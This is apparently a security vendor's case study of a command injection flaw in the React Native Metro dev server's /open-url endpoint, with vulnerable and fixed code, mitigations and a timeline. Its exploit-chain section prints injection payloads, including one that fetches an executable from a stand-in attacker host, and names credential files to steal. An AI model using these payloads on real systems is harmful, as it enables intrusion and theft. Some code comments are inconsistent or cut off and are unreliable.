← Back to case studies
CVE-2025-11953
CVSS 9.8 Critical
TypeScript · JavaScript
CISA KEV — Actively Exploited
@react-native-community/cli — OS Command Injection via Unvalidated URL Protocol in Metro Dev Server
The Metro dev server's /open-url endpoint accepts any URL scheme from a POST body and passes it directly to Node.js's open() command. An attacker who can reach the Metro dev server port can inject OS commands via file://, app://, or shell metacharacters. On Windows (versions 17.0.0+), full shell command injection with full parameter control is possible. CISA KEV catalog — actively exploited in the wild.
TL;DR
// what happened
- Affected: @react-native-community/cli-server-api (and @react-native-community/cli) versions 4.8.0 through 20.0.0-alpha.2 — Metro development server URL open middleware. The Metro dev server binds to all network interfaces by default (0.0.0.0), exposing it to network attackers despite the misleading "Starting dev server on http://localhost:8081" message.
- Attack vector: The
/open-url POST endpoint accepts a url field from the request body and passes it directly to Node.js's open() without protocol validation. Sending file:///etc/passwd or calc.exe|calc.exe (Windows) or a crafted cmd /c command executes arbitrary OS commands on the developer's machine.
- Requires: Network access to the Metro dev server port (typically 8081). While the message says "localhost", Metro actually calls
httpServer.listen with host: undefined, causing it to bind to 0.0.0.0 (all interfaces). In Docker, CI/CD, or shared-network environments, this port is accessible to attackers.
- Impact: Full system compromise — read SSH keys from
~/.ssh/, steal npm tokens from ~/.npmrc, pivot to CI/CD environment, deploy persistent backdoor via .bashrc.
- Fix: Add protocol allowlist — only
http: and https: URLs are accepted. Invalid protocols return 400 before open() is called. Fix commit: react-native-community/cli@1508990.
CVSS v3.1 Vector
Base Score
9.8 Critical — Maximum severity
Attack Vector (AV)
Network — Metro dev server binds to all interfaces; port reachable from LAN/WAN in many configs
Attack Complexity (AC)
Low — single POST request, no conditions to meet
Privileges Required (PR)
None — unauthenticated endpoint; no credentials needed
User Interaction (UI)
None — exploit fires on POST request, no user action required
Confidentiality (C)
High — read developer's files: SSH keys, npm tokens, CI secrets
Integrity (I)
High — modify files, deploy backdoor, corrupt build artifacts
Availability (A)
High — full system compromise, build environment disruption
Vector String
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8
KEV Status
CISA Known Exploited Vulnerabilities catalog — added 2026-02-05. Actively exploited in the wild.
The Bug — Vulnerable Code
packages/cli-server-api/src/openURLMiddleware.ts — Metro dev server URL open handler
Pre-fix — before commit 1508990
// Metro dev server — middleware that handles "open in device/browser" requests.
// Developers use this to open the running app on a phone or simulator.
// The /open-url endpoint accepts a URL and opens it in the OS.
import open from 'open';
// Express middleware — handles POST /open-url
app.post('/open-url', async (req, res) => {
const { url } = req.body as { url: string };
// VULNERABLE: No protocol validation — accepts any URL scheme.
// On Windows, open() runs: cmd /c start "" /b
// The shell interprets | as pipe, ; and && as command chaining.
// A URL like "calc.exe|calc.exe" becomes:
// cmd /c start "" /b calc.exe|calc.exe
// Which executes calc.exe then notepad.exe.
// Or "cmd /c " becomes shell command execution.
await open(url); // attacker-controlled!
res.writeHead(200);
});
Why Metro binds to all interfaces (not just localhost): The start command sets hostname = args.host ?? 'localhost', then passes args.host (undefined by default) to Metro.runServer(). Node.js httpServer.listen(undefined) binds to :: (all IPv6) and 0.0.0.0 (all IPv4) — not just localhost. The console says "localhost" but the server actually listens externally.
Exploit Chain
From POST request to developer machine compromise
1
Attacker identifies a running Metro dev server. Default port is 8081. Metro binds to all interfaces despite the "localhost" message. In Docker/Kubernetes dev environments, CI/CD pipelines, or shared WiFi networks, port 8081 is often reachable.
2
Attacker sends a POST request to /open-url with a malicious URL:
Unix/Linux:
{ "url": "file:///etc/passwd" }
or:
{ "url": "smb://attacker-server/payload.exe" }
Windows (full arbitrary command execution, versions 17.0.0+):
{ "url": "cmd /c echo pwned > c:\\temp\\pwned.txt" }
Or to chain commands:
{ "url": "calc.exe|whoami >> c:\\temp\\out.txt" }
3
Metro's open() handler receives the URL. Node.js calls the OS shell. On Windows, cmd /c start "" /b <url> runs — the | character creates a pipe, && chains commands. The attacker has full control over the command string.
4
Attacker achieves code execution. With a shell on the developer's machine:
— Read ~/.ssh/ for SSH keys and tunnel credentials
— Read ~/.npmrc for publishing tokens
— Read CI environment variables from the build environment
— Deploy a backdoor via ~/.bashrc or SSH authorized_keys
— Pivot to the corporate network from the developer's machine
5
Supply chain attack. Stolen npm tokens allow publishing malicious versions of packages the developer maintains — infecting their entire user base.
The Fix — After (1508990)
Fix commit react-native-community/cli@1508990 — protocol allowlist on /open-url endpoint
// CHANGE: Validate URL protocol before calling open().
// Only http: and https: are accepted — file:, app:, cmd:, and shell metacharacters
// are rejected with a 400 response before any system command runs.
// Defensive: parse URL with URL constructor, check protocol, return 400 if invalid.
app.post('/open-url', async (req, res) => {
const { url } = req.body as { url: string };
try {
const parsedUrl = new URL(url);
// Only allow http/https protocols
if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:') {
res.writeHead(400);
res.end('Invalid URL protocol');
return;
}
} catch (error) {
res.writeHead(400);
res.end('Invalid URL format');
return;
}
await open(url); // Now safe: only http/https URLs reach open()
res.writeHead(200);
});
Why this works: The new URL() constructor parses the URL and extracts the protocol (e.g., "file:", "cmd:", "http:"). Only http: and https: are allowed — all others (including the shell command cmd /c with no protocol) return 400 before open() is called. Shell metacharacters in the path are neutralized because they're not parsed as commands.
Additional recommendation: Bind Metro to localhost explicitly: npx react-native start --host 127.0.0.1 prevents external access even if the code has other vulnerabilities.
// root cause
The Metro dev server was designed for developer convenience — clicking "Open on device" from the browser opens the app on the connected phone or simulator. The implementation assumed the developer was the only user of the /open-url endpoint and didn't validate the protocol.
The deeper issue is that Metro binds to all network interfaces (0.0.0.0 and ::) by default due to a bug in how the host argument is passed to httpServer.listen. The console shows "Starting dev server on http://localhost:8081" but the actual binding is external. This compounds the severity: the vulnerable endpoint is reachable from the network, not just localhost.
The fix (protocol allowlist) is the correct approach: the endpoint's purpose is to open URLs in a browser, which only requires http:// and https:// protocols. Any other protocol (file, app, custom schemes, shell commands) is out of scope and must be rejected.
// what you can do
- Upgrade @react-native-community/cli-server-api → version 20.0.0+ (or 19.1.2, 18.0.1 as appropriate)
- Check your metro bundler version →
npm list @react-native-community/cli-server-api and compare to the patched versions
- Bind Metro to localhost →
npx react-native start --host 127.0.0.1 prevents external access to the dev server
- Firewall port 8081 → restrict access to the Metro port from untrusted networks
- Audit
/open-url endpoint → any code passing user-supplied URLs to open() without protocol validation is vulnerable
- Install PullLight → catches command injection and unvalidated shell calls in PRs before they merge
FAQ
Is Metro dev server accessible from the internet?
By default, Metro runs on port 8081 and binds to all interfaces (not just localhost). In Docker/Kubernetes development environments, CI/CD pipelines, or shared WiFi networks, the port may be accessible to attackers. Use --host 127.0.0.1 to bind to localhost only, or firewall the port.
How does the | pipe character work in Windows command injection?
On Windows, open(url) runs cmd /c start "" /b <url>. The | character creates a pipe between commands: calc.exe|notepad.exe runs calc, then pipes its stdout into notepad. The attacker can chain arbitrary commands this way. With cmd /c in the URL (versions 17.0.0+), full shell command injection with parameter control is possible.
What's CISA KEV?
The Known Exploited Vulnerabilities (KEV) catalog is maintained by CISA. Inclusion means government agencies and critical infrastructure operators must remediate under federal directive BOD 22-01. CVE-2025-11953 was added to KEV on February 5, 2026, with a due date of February 26, 2026 — indicating active exploitation in the wild.
Does this affect React Native production builds?
No — the /open-url endpoint is only in the Metro dev server, used during development. Production builds don't include Metro. However, if your CI/CD pipeline runs npm start or npx react-native start, your build environment is vulnerable.
What's the difference between @react-native-community/cli and @react-native-community/cli-server-api?
@react-native-community/cli is the main CLI package — the command-line interface for React Native. @react-native-community/cli-server-api is the Metro server API package that contains the vulnerable /open-url endpoint. The CLI depends on cli-server-api, so both packages must be updated.
Timeline
November 2025
CVE-2025-11953 assigned. Security advisory GHSA-399j-vxmf-hjvr published by JFrog Security Research team. React Native CLI maintainers disclose the OS command injection vulnerability.
November 2025
Fix commit 15089907d1f1301b22c72d7f68846a2ef20df547 lands — protocol allowlist (http/https only) added to /open-url endpoint before calling open(). Patched versions: 20.0.0, 19.1.2, 18.0.1.
February 5, 2026
CISA adds CVE-2025-11953 to the Known Exploited Vulnerabilities (KEV) catalog — marking it as actively exploited in the wild. Federal agencies required to remediate by February 26, 2026.
June 2026
PullLight documents CVE-2025-11953 as case study #31 — demonstrating command injection (CWE-78) detection via unvalidated shell call analysis in PR code review.
Don't let command injection slip into your PRs
Fix & Resources
Fix commit: 15089907d1f1301b22c72d7f68846a2ef20df547 — protocol allowlist on /open-url endpoint
The
/open-urlPOST endpoint accepts any URL from the request body and passes it directly to Node.jsopen()without protocol validation. On Windows (versions 17.0.0+), sendingcmd /c <command>orcalc.exe|calc.exeexecutes arbitrary OS commands on the developer's machine. CISA KEV catalog — actively exploited in the wild as of February 2026.This is CWE-78 (OS Command Injection) — specifically, unvalidated user input reaching a shell command via
open(). The absence of protocol allowlisting (http/https only) is the root cause. Additionally, Metro binds to 0.0.0.0 (all interfaces) despite the misleading localhost message, expanding the attack surface.CVSS 9.8: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — maximum severity across integrity and availability. No authentication, no user interaction. KEV status means government and critical infrastructure operators are required to remediate under federal directive.
new URL(), reject non-http/https protocols with 400, only then callopen(). Also recommend:npx react-native start --host 127.0.0.1to bind Metro to localhost. Fix commit:react-native-community/cli@1508990.